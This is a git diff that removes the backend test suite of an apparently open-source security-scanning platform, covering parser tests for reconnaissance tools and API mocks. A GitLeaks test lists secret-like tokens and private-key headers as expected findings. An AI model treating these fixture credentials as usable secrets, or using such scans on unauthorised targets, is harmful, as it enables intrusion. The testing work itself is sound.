address='10.10.10.1') - port_1_1 = self.create_finding(Port, host=host_1, port=22) - port_1_2 = self.create_finding(Port, host=host_1, port=80) - path_1_2_1 = self.create_finding(Path, port=port_1_2, path='/endpoint1') - path_1_2_2 = self.create_finding(Path, port=port_1_2, path='/endpoint2') - path_1_2_3 = self.create_finding(Path, port=port_1_2, path='/endpoint3') - port_1_3 = self.create_finding(Port, host=host_1, port=443) - path_1_3_1 = self.create_finding(Path, port=port_1_3, path='/endpoint') - port_1_4 = self.create_finding(Port, host=host_1, port=8080) - path_1_4_1 = self.create_finding(Path, port=port_1_4, path='/endpoint') - port_1_5 = self.create_finding(Port, host=host_1, port=8000) - path_1_5_1 = self.create_finding(Path, port=port_1_5, path='/endpoint') - # Host 2 with some endpoints in some ports - host_2 = self.create_finding(Host, address='10.10.10.2') - port_2_1 = self.create_finding(Port, host=host_2, port=22) - port_2_2 = self.create_finding(Port, host=host_2, port=80) - path_2_2_1 = self.create_finding(Path, port=port_2_2, path='/endpoint1') - path_2_2_2 = self.create_finding(Path, port=port_2_2, path='/endpoint2') - port_2_3 = self.create_finding(Port, host=host_2, port=443) - port_2_4 = self.create_finding(Port, host=host_2, port=8080) - path_2_4_1 = self.create_finding(Path, port=port_2_4, path='/endpoint1') - path_2_4_2 = self.create_finding(Path, port=port_2_4, path='/endpoint2') - port_2_5 = self.create_finding(Port, host=host_2, port=8000) - # Host 3 with one endpoint for each port - host_3 = self.create_finding(Host, address='10.10.10.3') - port_3_1 = self.create_finding(Port, host=host_3, port=22) - path_3_1_1 = self.create_finding(Path, port=port_3_1, path='/endpoint') - port_3_2 = self.create_finding(Port, host=host_3, port=80) - path_3_2_1 = self.create_finding(Path, port=port_3_2, path='/endpoint') - port_3_3 = self.create_finding(Port, host=host_3, port=443) - path_3_3_1 = self.create_finding(Path, port=port_3_3, path='/endpoint') - port_3_4 = self.create_finding(Port, host=host_3, port=8080) - path_3_4_1 = self.create_finding(Path, port=port_3_4, path='/endpoint') - port_3_5 = self.create_finding(Port, host=host_3, port=8000) - path_3_5_1 = self.create_finding(Path, port=port_3_5, path='/endpoint') - # Host 4 without endpoints - host_4 = self.create_finding(Host, address='10.10.10.4') - port_4_1 = self.create_finding(Port, host=host_4, port=22) - port_4_2 = self.create_finding(Port, host=host_4, port=80) - port_4_3 = self.create_finding(Port, host=host_4, port=443) - port_4_4 = self.create_finding(Port, host=host_4, port=8080) - port_4_5 = self.create_finding(Port, host=host_4, port=8000) - # Host 5 without ports - host_5 = self.create_finding(Host, address='10.10.10.5') - # Finding list to pass as argument - findings = [ - host_1, host_2, host_3, host_4, host_5, - port_1_1, port_1_2, port_1_3, port_1_4, port_1_5, - port_2_1, port_2_2, port_2_3, port_2_4, port_2_5, - port_3_1, port_3_2, port_3_3, port_3_4, port_3_5, - port_4_1, port_4_2, port_4_3, port_4_4, port_4_5, - path_1_2_1, path_1_2_2, path_1_2_3, path_1_3_1, path_1_4_1, path_1_5_1, - path_2_2_1, path_2_2_2, path_2_4_1, path_2_4_2, - path_3_1_1, path_3_2_1, path_3_3_1, path_3_4_1, path_3_5_1 - ] - # Expected executions - expected = [ - [host_1, port_1_1, port_1_2, port_1_3, port_1_4, port_1_5, path_1_2_1], - [host_2, port_2_1, port_2_2, port_2_3, port_2_4, port_2_5, path_2_2_1], - [host_3, port_3_1, port_3_2, port_3_3, port_3_4, port_3_5, path_3_1_1], - [host_4, port_4_1, port_4_2, port_4_3, port_4_4, port_4_5], - [host_5], - [host_1, port_1_1, port_1_2, port_1_3, port_1_4, port_1_5, path_1_2_2], - [host_1, port_1_1, port_1_2, port_1_3, port_1_4, port_1_5, path_1_2_3], - [host_1, port_1_1, port_1_2, port_1_3, port_1_4, port_1_5, path_1_3_1], - [host_1, port_1_1, port_1_2, port_1_3, port_1_4, port_1_5, path_1_4_1], - [host_1, port_1_1, port_1_2, port_1_3, port_1_4, port_1_5, path_1_5_1], - [host_2, port_2_1, port_2_2, port_2_3, port_2_4, port_2_5, path_2_2_2], - [host_2, port_2_1, port_2_2, port_2_3, port_2_4, port_2_5, path_2_4_1], - [host_2, port_2_1, port_2_2, port_2_3, port_2_4, port_2_5, path_2_4_2], - [host_3, port_3_1, port_3_2, port_3_3, port_3_4, port_3_5, path_3_2_1], - [host_3, port_3_1, port_3_2, port_3_3, port_3_4, port_3_5, path_3_3_1], - [host_3, port_3_1, port_3_2, port_3_3, port_3_4, port_3_5, path_3_4_1], - [host_3, port_3_1, port_3_2, port_3_3, port_3_4, port_3_5, path_3_5_1], - ] - executions = get_executions_from_findings(findings, self.tool) - self.assertEqual(expected, executions) - - def test_with_only_one_finding_type(self) -> None: - '''Test get_executions_from_findings feature with findings.''' - host_1 = self.create_finding(Host, address='10.10.10.1') - host_2 = self.create_finding(Host, address='10.10.10.2') - host_3 = self.create_finding(Host, address='10.10.10.3') - host_4 = self.create_finding(Host, address='10.10.10.4') - findings = [host_1, host_2, host_3, host_4] # Finding list to pass as argument - expected = [[host_1], [host_2], [host_3], [host_4]] # Expected executions - executions = get_executions_from_findings(findings, self.tool) - self.assertEqual(expected, executions) - - def test_with_targets(self) -> None: - '''Test get_executions_from_findings feature with targets.''' - # Target ports - tp_1 = TargetPort.objects.create(target=self.target, port=22) - tp_2 = TargetPort.objects.create(target=self.target, port=80) - tp_3 = TargetPort.objects.create(target=self.target, port=443) - tp_4 = TargetPort.objects.create(target=self.target, port=8080) - tp_5 = TargetPort.objects.create(target=self.target, port=8000) - # Wordlists - wl_1 = Wordlist.objects.create(name='Wordlist 1', type=WordlistType.ENDPOINT, path='/some/path/1') - wl_2 = Wordlist.objects.create(name='Wordlist 2', type=WordlistType.ENDPOINT, path='/some/path/2') - wl_3 = Wordlist.objects.create(name='Wordlist 3', type=WordlistType.ENDPOINT, path='/some/path/3') - # Target list to pass as argument - targets = [ - wl_1, wl_2, wl_3, - self.target, - tp_1, tp_2, tp_3, tp_4, tp_5 - ] - # Expected executions - expected = [ - [self.target, tp_1, tp_2, tp_3, tp_4, tp_5, wl_1], - [self.target, tp_1, tp_2, tp_3, tp_4, tp_5, wl_2], - [self.target, tp_1, tp_2, tp_3, tp_4, tp_5, wl_3], - ] - executions = get_executions_from_findings(targets, self.tool) - self.assertEqual(expected, executions) diff --git a/src/backend/testing/integrations/__init__.py b/src/backend/testing/integrations/__init__.py deleted file mode 100644 index 5ec2a2b32..000000000 --- a/src/backend/testing/integrations/__init__.py +++ /dev/null @@ -1 +0,0 @@ -'''Testing for dependencies with third party APIs.''' diff --git a/src/backend/testing/integrations/test_nvd_nist.py b/src/backend/testing/integrations/test_nvd_nist.py deleted file mode 100644 index 26c845f5c..000000000 --- a/src/backend/testing/integrations/test_nvd_nist.py +++ /dev/null @@ -1,46 +0,0 @@ -from unittest import mock - -from django.test import TestCase -from findings.enums import Severity -from findings.nvd_nist import NvdNist -from testing.mocks.nvd_nist import (nvd_nist_not_found, - nvd_nist_success_cvss_2, - nvd_nist_success_cvss_3) - - -class NvdNistTest(TestCase): - '''Test cases for NVD NIST API.''' - - def setUp(self) -> None: - '''Create initial data before run tests.''' - super().setUp() - self.cve = 'CVE-2021-44228' # Log4shell CVE - self.old_cve = 'CVE-2010-4422' # CVE with only CVSS version 2 - self.not_found_cve = 'CVE-0000-0000' # Not found CVE - - def get_cve_data(self, cve: str, severity: str) -> None: - '''Get CVE data from NVD NIST and check response. - - Args: - cve (str): CVE code - severity (str): Expected severity - ''' - nvd_nist = NvdNist(cve) - self.assertEqual(cve, nvd_nist.cve) - self.assertEqual(nvd_nist.cve_reference_pattern.format(cve=cve), nvd_nist.reference) - self.assertEqual(severity, nvd_nist.severity) - - @mock.patch('findings.nvd_nist.NvdNist.request', nvd_nist_success_cvss_3) # Mocks NVD NIST response - def test_get_cve_data(self) -> None: - '''Test get CVE data from NVD NIST feature.''' - self.get_cve_data(self.cve, Severity.CRITICAL) - - @mock.patch('findings.nvd_nist.NvdNist.request', nvd_nist_not_found) # Mocks NVD NIST response - def test_cve_data_not_found(self) -> None: - '''Test get not found CVE data from NVD NIST feature.''' - self.get_cve_data(self.not_found_cve, Severity.MEDIUM) - - @mock.patch('findings.nvd_nist.NvdNist.request', nvd_nist_success_cvss_2) # Mocks NVD NIST response - def test_get_old_cve_data(self) -> None: - '''Test get old CVE data from NVD NIST feature.''' - self.get_cve_data(self.old_cve, Severity.HIGH) diff --git a/src/backend/testing/mocks/__init__.py b/src/backend/testing/mocks/__init__.py deleted file mode 100644 index 7b0737013..000000000 --- a/src/backend/testing/mocks/__init__.py +++ /dev/null @@ -1 +0,0 @@ -'''Mocks for external services to test related features.''' diff --git a/src/backend/testing/mocks/defectdojo.py b/src/backend/testing/mocks/defectdojo.py deleted file mode 100644 index 8ad03683b..000000000 --- a/src/backend/testing/mocks/defectdojo.py +++ /dev/null @@ -1,30 +0,0 @@ -from typing import Any, Dict, Tuple - -'''Mock for Defect-Dojo API integration implemented on defectdojo.api package.''' - - -def defect_dojo_success(*args: Any, **kwargs: Any) -> Tuple[bool, Dict[str, Any]]: - '''Get mocked response for successfully Defect-Dojo operation. - - Returns: - Tuple[bool, Dict[str, Any]]: Successfully Defect-Dojo response - ''' - return True, {'id': 1, 'product': 1} - - -def defect_dojo_success_multiple(*args: Any, **kwargs: Any) -> Tuple[bool, Dict[str, Any]]: - '''Get mocked response for successfully Defect-Dojo operation with results. - - Returns: - Tuple[bool, Dict[str, Any]]: Successfully Defect-Dojo response - ''' - return True, {'results': [{'id': 1, 'product': 1}]} - - -def defect_dojo_error(*args: Any, **kwargs: Any) -> Tuple[bool, Dict[str, Any]]: - '''Get mocked response for invalid Defect-Dojo operation. - - Returns: - Tuple[bool, Dict[str, Any]]: Generic error response - ''' - return False, {'message': 'Generic Defect-Dojo error'} diff --git a/src/backend/testing/mocks/nvd_nist.py b/src/backend/testing/mocks/nvd_nist.py deleted file mode 100644 index 132bcca15..000000000 --- a/src/backend/testing/mocks/nvd_nist.py +++ /dev/null @@ -1,72 +0,0 @@ -from typing import Any - -'''Mock for NVD NIST API integration implemented on findings.nvd_nist package.''' - - -nvd_nist_base_success = { # NVD NIST base Response - 'cve': { - 'description': { - 'description_data': [ - { - 'lang': 'en', - 'value': 'description' - } - ] - }, - 'problemtype': { - 'problemtype_data': [ - { - 'description': [ - { - 'value': 'CWE-200' - } - ] - } - ] - } - }, - 'impact': {} -} - - -def nvd_nist_success_cvss_3(*args: Any, **kwargs: Any) -> dict: - '''Get mocked response from CVE with CVSS 3. - - Returns: - dict: NVD NIST response - ''' - response = nvd_nist_base_success.copy() - response['impact'] = { - 'baseMetricV3': { - 'cvssV3': { - 'baseScore': 9 - } - } - } - return response - - -def nvd_nist_success_cvss_2(*args: Any, **kwargs: Any) -> dict: - '''Get mocked response from CVE with CVSS 2. - - Returns: - dict: NVD NIST response - ''' - response = nvd_nist_base_success.copy() - response['impact'] = { - 'baseMetricV2': { - 'cvssV2': { - 'baseScore': 8 - } - } - } - return response - - -def nvd_nist_not_found(*args: Any, **kwargs: Any) -> dict: - '''Get mocked response from not found CVE - - Returns: - dict: Empty response - ''' - return {} diff --git a/src/backend/testing/test_case.py b/src/backend/testing/test_case.py deleted file mode 100644 index 6c9247531..000000000 --- a/src/backend/testing/test_case.py +++ /dev/null @@ -1,27 +0,0 @@ -import os -import shutil - -from django.test import TestCase -from rekono.settings import LOGGING_DIR, REKONO_HOME, REPORTS_DIR, WORDLIST_DIR -from system.models import System - - -class RekonoTestCase(TestCase): - '''Base test case for all tests.''' - - def setUp(self) -> None: - '''Create initial data before run tests.''' - super().setUp() - self.system = System.objects.first() - self.system.defect_dojo_url = 'http://127.0.0.1:8080' # Testing URL due to coverage reasons - self.system.upload_files_max_mb = 1 # Reduce max size allowed - self.system.save(update_fields=['defect_dojo_url', 'upload_files_max_mb']) - for dir in [REKONO_HOME, REPORTS_DIR, WORDLIST_DIR, LOGGING_DIR]: # Initialize directories if needed - if not os.path.isdir(dir): - os.mkdir(dir) - - def tearDown(self) -> None: - '''Run code after run tests.''' - super().tearDown() - if os.path.isdir(REKONO_HOME): # Remove testing directories if exist - shutil.rmtree(REKONO_HOME) diff --git a/src/backend/testing/tools/__init__.py b/src/backend/testing/tools/__init__.py deleted file mode 100644 index a45d1ad23..000000000 --- a/src/backend/testing/tools/__init__.py +++ /dev/null @@ -1 +0,0 @@ -'''Testing for each tool parser.''' diff --git a/src/backend/testing/tools/base.py b/src/backend/testing/tools/base.py deleted file mode 100644 index 931175c90..000000000 --- a/src/backend/testing/tools/base.py +++ /dev/null @@ -1,93 +0,0 @@ -import os -from typing import Any, Dict, List - -from django.utils import timezone -from executions.models import Execution -from projects.models import Project -from targets.models import Target -from tasks.enums import Status -from tasks.models import Task -from testing.test_case import RekonoTestCase - -from tools.enums import IntensityRank -from tools.models import Configuration, Intensity, Tool -from tools.tools.base_tool import BaseTool -from tools.utils import get_tool_class_by_name - - -class ToolParserTest(RekonoTestCase): - '''Base test case for tool parsers.''' - - tool_name = '' # Tool name to set by subclasses - # Tool reports path - reports_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), '..', 'data', 'reports') - - def setUp(self) -> None: - '''Create initial data before run tests.''' - super().setUp() - if self.tool_name: - # Create a testing environment to be able to create a consistent execution object - tool = Tool.objects.get(name=self.tool_name) - configuration = Configuration.objects.get(tool=tool, default=True) - intensity = Intensity.objects.filter(tool=tool).first() - project = Project.objects.create(name='Test', description='Test', tags=['test']) - self.target = Target.objects.create(project=project, target='scanme.nmap.org') - task = Task.objects.create( - target=self.target, - tool=tool, - configuration=configuration, - intensity=IntensityRank.NORMAL, - status=Status.COMPLETED, - start=timezone.now(), - end=timezone.now() - ) - execution = Execution.objects.create( - task=task, - tool=task.tool, - configuration=task.configuration, - status=Status.COMPLETED, - start=timezone.now(), - end=timezone.now() - ) - tool_class = get_tool_class_by_name(self.tool_name) # Get tool class from name - self.tool: BaseTool = tool_class(execution, intensity, []) # Create tool instance - - def check_expected_findings(self, expected: List[Dict[str, Any]]) -> None: - '''Check expected findings for tool results. - - Args: - expected (List[Dict[str, Any]]): Expected findings data. Requires the field 'model' to check finding type - ''' - self.assertEqual(len(expected), len(self.tool.findings)) # Check total number of findings - for index, finding_data in enumerate(expected): # For each expected finding - self.assertTrue(isinstance(self.tool.findings[index], finding_data.pop('model'))) # Check finding type - for key, value in finding_data.items(): # For each finding field - self.assertEqual(value, getattr(self.tool.findings[index], key)) # Check finding value - - def check_tool_file_parser(self, filename: str, expected: List[Dict[str, Any]]) -> None: - '''Check expected findings for results obtained after parse tool report. - - Args: - filename (str): Report filename to parse - expected (List[Dict[str, Any]]): Expected findings data. Requires the field 'model' to check finding type - ''' - self.tool.path_output = os.path.join( # Set report file - self.reports_path, - self.tool_name.lower().replace(' ', '_'), - filename - ) - self.tool.parse_output_file() # Parse tool report - self.check_expected_findings(expected) - - def check_tool_output_parser(self, filename: str, expected: List[Dict[str, Any]]) -> None: - '''Check expected findings for results obtained after parse the plain output of tool. - - Args: - filename (str): Filename with the tool plain output - expected (List[Dict[str, Any]]): Expected findings data. Requires the field 'model' to check finding type - ''' - filepath = os.path.join(self.reports_path, self.tool_name.lower().replace(' ', '_'), filename) - with open(filepath, 'r') as output_file: - plain_output = output_file.read() - self.tool.parse_plain_output(plain_output) - self.check_expected_findings(expected) diff --git a/src/backend/testing/tools/test_cmseek.py b/src/backend/testing/tools/test_cmseek.py deleted file mode 100644 index 38247057a..000000000 --- a/src/backend/testing/tools/test_cmseek.py +++ /dev/null @@ -1,146 +0,0 @@ -from findings.enums import PathType, Severity -from findings.models import Credential, Path, Technology, Vulnerability -from testing.tools.base import ToolParserTest - - -class CMSeeKParserTest(ToolParserTest): - '''Test cases for CMSeeK parser.''' - - tool_name = 'CMSeeK' - - def test_dvwp(self) -> None: - '''Test to parse simple report with paths and technologies.''' - expected = [ - { - 'model': Technology, - 'name': 'WordPress', - 'version': '5.3', - 'description': 'CMS', - 'reference': 'https://wordpress.org' - }, - {'model': Path, 'path': '/license.txt', 'type': PathType.ENDPOINT}, - {'model': Technology, 'name': 'social-warfare', 'version': '3.5.2', 'description': 'WordPress plugins'}, - {'model': Technology, 'name': 'wp-file-upload', 'version': '5.3', 'description': 'WordPress plugins'}, - { - 'model': Technology, - 'name': 'wp-advanced-search', - 'version': '1.0', - 'description': 'WordPress plugins' - }, - {'model': Path, 'path': '/readme.html', 'type': PathType.ENDPOINT}, - {'model': Technology, 'name': 'twentytwenty', 'version': '1.0', 'description': 'WordPress themes'} - ] - super().check_tool_file_parser('dvwp.json', expected) - - def test_joomla(self) -> None: - '''Test to parse report with pre-defined vulnerabilities.''' - expected = [ - { - 'model': Technology, - 'name': 'joomla', - 'version': '1.0', - 'description': 'CMS', - 'reference': 'https://joomla.org' - }, - {'model': Path, 'path': '/demo/2.back', 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/demo/2.save', 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/demo/2.tmp', 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/demo/2.backup', 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/demo/2.txt', 'type': PathType.ENDPOINT}, - { - 'model': Vulnerability, - 'name': 'Backup files found', - 'description': '/demo/2.back, /demo/2.save, /demo/2.tmp, /demo/2.backup, /demo/2.txt', - 'severity': Severity.HIGH, - 'cwe': 'CWE-530' - }, - { - 'model': Vulnerability, - 'name': 'Debug mode enabled', - 'description': 'joomla debug mode enabled', - 'severity': Severity.LOW, - 'cwe': 'CWE-489' - }, - ] - super().check_tool_file_parser('joomla.json', expected) - - def test_vwp(self) -> None: - '''Test to parse report with known vulnerabilities.''' - expected = [ - { - 'model': Technology, - 'name': 'WordPress', - 'version': '4.8.3', - 'description': 'CMS', - 'reference': 'https://wordpress.org' - }, - {'model': Path, 'path': '/license.txt', 'type': PathType.ENDPOINT}, - { - 'model': Technology, - 'name': 'wp-advanced-search', - 'version': '1.0', - 'description': 'WordPress plugins' - }, - {'model': Technology, 'name': 'social-warfare', 'version': '3.5.2', 'description': 'WordPress plugins'}, - {'model': Technology, 'name': 'simple-file-list', 'version': '5', 'description': 'WordPress plugins'}, - {'model': Technology, 'name': 'wp-file-upload', 'version': '4.8.3', 'description': 'WordPress plugins'}, - {'model': Path, 'path': '/readme.html', 'type': PathType.ENDPOINT}, - {'model': Technology, 'name': 'twentyseventeen', 'version': '4.8.3', 'description': 'WordPress themes'}, - {'model': Vulnerability, 'cve': 'CVE-2019-16223'}, - {'model': Vulnerability, 'cve': 'CVE-2019-16222'}, - {'model': Vulnerability, 'cve': 'CVE-2019-16221'}, - {'model': Vulnerability, 'cve': 'CVE-2019-16220'}, - {'model': Vulnerability, 'cve': 'CVE-2019-16219'}, - {'model': Vulnerability, 'cve': 'CVE-2019-16218'}, - {'model': Vulnerability, 'cve': 'CVE-2019-16217'}, - {'model': Vulnerability, 'cve': 'CVE-2019-9787'}, - {'model': Vulnerability, 'cve': 'CVE-2019-8942'}, - {'model': Vulnerability, 'cve': 'CVE-2018-20153'}, - {'model': Vulnerability, 'cve': 'CVE-2018-20152'}, - {'model': Vulnerability, 'cve': 'CVE-2018-20151'}, - {'model': Vulnerability, 'cve': 'CVE-2018-20150'}, - {'model': Vulnerability, 'cve': 'CVE-2018-20149'}, - {'model': Vulnerability, 'cve': 'CVE-2018-20148'}, - {'model': Vulnerability, 'cve': 'CVE-2018-20147'}, - {'model': Vulnerability, 'cve': 'CVE-2018-12895'}, - {'model': Vulnerability, 'cve': 'CVE-2017-1000600'}, - ] - super().check_tool_file_parser('vwp.json', expected) - - def test_wordpress(self) -> None: - '''Test to parse report with credentials.''' - expected = [ - { - 'model': Technology, - 'name': 'WordPress', - 'version': '5.8.3', - 'description': 'CMS', - 'reference': 'https://wordpress.org' - }, - {'model': Path, 'path': '/license.txt', 'type': PathType.ENDPOINT}, - { - 'model': Technology, - 'name': 'orbisius-simple-notice', - 'version': '1.0', - 'description': 'WordPress plugins' - }, - { - 'model': Technology, - 'name': 'qs_site_app', - 'version': '1642244787', - 'description': 'WordPress plugins' - }, - {'model': Technology, 'name': 'monarch', 'version': '1.4.14', 'description': 'WordPress plugins'}, - {'model': Path, 'path': '/readme.html', 'type': PathType.ENDPOINT}, - {'model': Technology, 'name': 'primer', 'version': '1590756562', 'description': 'WordPress themes'}, - { - 'model': Technology, - 'name': 'qs-on-primer', - 'version': '1617278312', - 'description': 'WordPress themes' - }, - {'model': Credential, 'username': 'wpdemohelper1'}, - {'model': Credential, 'username': 'superadmin'}, - {'model': Credential, 'username': 'wpdemo'}, - ] - super().check_tool_file_parser('wordpress.json', expected) diff --git a/src/backend/testing/tools/test_dirsearch.py b/src/backend/testing/tools/test_dirsearch.py deleted file mode 100644 index a55f7577d..000000000 --- a/src/backend/testing/tools/test_dirsearch.py +++ /dev/null @@ -1,37 +0,0 @@ -from findings.enums import PathType -from findings.models import Path -from testing.tools.base import ToolParserTest - - -class DirsearchParserTest(ToolParserTest): - '''Test cases for Dirsearch parser.''' - - tool_name = 'Dirsearch' - - def test_default(self) -> None: - '''Test to parse generic report.''' - expected = [ - {'model': Path, 'path': '/.ht_wsr.txt', 'status': 403, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/.htaccess.sample', 'status': 403, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/.htaccess_orig', 'status': 403, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/.htaccess.bak1', 'status': 403, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/.htaccess_sc', 'status': 403, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/.htaccess.save', 'status': 403, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/.htaccess.orig', 'status': 403, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/.htaccess_extra', 'status': 403, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/.htm', 'status': 403, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/.htaccessBAK', 'status': 403, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/.httr-oauth', 'status': 403, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/.htaccessOLD2', 'status': 403, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/.html', 'status': 403, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/.htaccessOLD', 'status': 403, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/.htpasswds', 'status': 403, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/.htpasswd_test', 'status': 403, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/.php', 'status': 403, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/assets/', 'status': 200, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/assets', 'status': 301, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/index.html', 'status': 200, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/server-status', 'status': 403, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/server-status/', 'status': 403, 'type': PathType.ENDPOINT}, - ] - super().check_tool_file_parser('default.json', expected) diff --git a/src/backend/testing/tools/test_emailfinder.py b/src/backend/testing/tools/test_emailfinder.py deleted file mode 100644 index a04ffc910..000000000 --- a/src/backend/testing/tools/test_emailfinder.py +++ /dev/null @@ -1,20 +0,0 @@ -from findings.enums import DataType -from findings.models import OSINT -from testing.tools.base import ToolParserTest - - -class EmailFinderParserTest(ToolParserTest): - '''Test cases for EmailFinder parser.''' - - tool_name = 'EmailFinder' - - def test_default(self) -> None: - '''Test to parse report with emails.''' - expected = [ - {'model': OSINT, 'data': 'support@test.com', 'data_type': DataType.EMAIL}, - {'model': OSINT, 'data': 'education@test.com', 'data_type': DataType.EMAIL}, - {'model': OSINT, 'data': 'ceo@test.com', 'data_type': DataType.EMAIL}, - {'model': OSINT, 'data': 'someone@test.com', 'data_type': DataType.EMAIL}, - {'model': OSINT, 'data': 'other@test.com', 'data_type': DataType.EMAIL}, - ] - self.check_tool_output_parser('default.txt', expected) diff --git a/src/backend/testing/tools/test_emailharvester.py b/src/backend/testing/tools/test_emailharvester.py deleted file mode 100644 index cd017ad8c..000000000 --- a/src/backend/testing/tools/test_emailharvester.py +++ /dev/null @@ -1,20 +0,0 @@ -from findings.enums import DataType -from findings.models import OSINT -from testing.tools.base import ToolParserTest - - -class EmailHarvesterParserTest(ToolParserTest): - '''Test cases for EmailHarvester parser.''' - - tool_name = 'EmailHarvester' - - def test_default(self) -> None: - '''Test to parse report with emails.''' - expected = [ - {'model': OSINT, 'data': 'support@test.com', 'data_type': DataType.EMAIL}, - {'model': OSINT, 'data': 'education@test.com', 'data_type': DataType.EMAIL}, - {'model': OSINT, 'data': 'ceo@test.com', 'data_type': DataType.EMAIL}, - {'model': OSINT, 'data': 'someone@test.com', 'data_type': DataType.EMAIL}, - {'model': OSINT, 'data': 'other@test.com', 'data_type': DataType.EMAIL}, - ] - self.check_tool_file_parser('default.txt', expected) diff --git a/src/backend/testing/tools/test_gitleaks.py b/src/backend/testing/tools/test_gitleaks.py deleted file mode 100644 index 163232753..000000000 --- a/src/backend/testing/tools/test_gitleaks.py +++ /dev/null @@ -1,50 +0,0 @@ -from findings.models import Credential -from targets.models import TargetPort -from testing.tools.base import ToolParserTest - - -class GitLeaksParserTest(ToolParserTest): - '''Test cases for GitLeaks parser.''' - - tool_name = 'GitLeaks' - - def test_leaky_repo(self) -> None: - '''Test to parse report with secrets from https://github.com/Plazmaz/leaky-repo.''' - expected = [ - { - 'model': Credential, - 'secret': 'token: "7f9cc25de23d1a255720b0ae4551f4044d600f46"', - 'context': '/.git/ : hub -> Line 4' - }, - {'model': Credential, 'email': 'git@asdf.com', 'context': '/.git/ : Email of the commit author ASDF'}, - {'model': Credential, 'secret': 'xoxp-858723095049', 'context': '/.git/ : .bash_profile -> Line 23'}, - { - 'model': Credential, - 'secret': 'API_TOKEN=\'51e61afee2c2667123fc9ed160a0a20b330c8f74\'', - 'context': '/.git/ : .bash_profile -> Line 22' - }, - { - 'model': Credential, - 'secret': 'API_KEY="38c47f19e349153fa963bb3b3212fe8e-us11"', - 'context': '/.git/ : .bashrc -> Line 106' - }, - { - 'model': Credential, - 'secret': 'TOKEN=\"c77e01c1e89682e4d4b94a059a7fd2b37ab326ed\"', - 'context': '/.git/ : .bashrc -> Line 109' - }, - { - 'model': Credential, - 'secret': '-----BEGIN RSA PRIVATE KEY-----', - 'context': '/.git/ : .ssh/id_rsa -> Line 1' - }, - { - 'model': Credential, - 'secret': '-----BEGIN PRIVATE KEY-----', - 'context': '/.git/ : misc-keys/cert-key.pem -> Line 1' - } - ] - self.tool.findings_relations = { # Test with TargetPort - TargetPort.__name__.lower(): TargetPort.objects.create(target=self.target, port=80) - } - super().check_tool_file_parser('leaky-repo.json', expected) diff --git a/src/backend/testing/tools/test_gobuster.py b/src/backend/testing/tools/test_gobuster.py deleted file mode 100644 index 3bf4a80ec..000000000 --- a/src/backend/testing/tools/test_gobuster.py +++ /dev/null @@ -1,62 +0,0 @@ -from findings.enums import DataType, PathType -from findings.models import OSINT, Path -from testing.tools.base import ToolParserTest - - -class GobusterParserTest(ToolParserTest): - '''Test cases for Gobuster parser.''' - - tool_name = 'Gobuster' - - def test_dir(self) -> None: - '''Test to parse dir report with endpoints.''' - expected = [ - {'model': Path, 'path': '/.gitignore', 'status': 200, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/.hta', 'status': 403, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/.htaccess', 'status': 403, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/.htpasswd', 'status': 403, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/config', 'status': 301, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/docs', 'status': 301, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/external', 'status': 301, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/favicon.ico', 'status': 200, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/index.php', 'status': 302, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/php.ini', 'status': 200, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/phpinfo.php', 'status': 302, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/robots.txt', 'status': 200, 'type': PathType.ENDPOINT}, - {'model': Path, 'path': '/server-status', 'status': 403, 'type': PathType.ENDPOINT}, - ] - super().check_tool_file_parser('dir.txt', expected) - - def test_dns(self) -> None: - '''Test to parse dns report with domains and IPs.''' - expected = [ - { - 'model': OSINT, - 'data': 'chat.example.com', - 'data_type': DataType.DOMAIN, - 'source': 'DNS' - }, - {'model': OSINT, 'data': '10.10.10.10', 'data_type': DataType.IP, 'source': 'DNS'}, - {'model': OSINT, 'data': '10.10.10.11', 'data_type': DataType.IP, 'source': 'DNS'}, - { - 'model': OSINT, - 'data': 'echo.example.com', - 'data_type': DataType.DOMAIN, - 'source': 'DNS' - }, - {'model': OSINT, 'data': '10.10.10.10', 'data_type': DataType.IP, 'source': 'DNS'}, - {'model': OSINT, 'data': '10.10.10.11', 'data_type': DataType.IP, 'source': 'DNS'}, - ] - super().check_tool_file_parser('dns.txt', expected) - - def test_vhost(self) -> None: - '''Test to parse vhost report with VHOSTs.''' - expected = [ - { - 'model': OSINT, - 'data': 'enquetes.example.com', - 'data_type': DataType.VHOST, - 'source': 'Enumeration' - } - ] - super().check_tool_file_parser('vhost.txt', expected) diff --git a/src/backend/testing/tools/test_joomscan.py b/src/backend/testing/tools/test_joomscan.py deleted file mode 100644 index 02f387f51..000000000 --- a/src/backend/testing/tools/test_joomscan.py +++ /dev/null @@ -1,132 +0,0 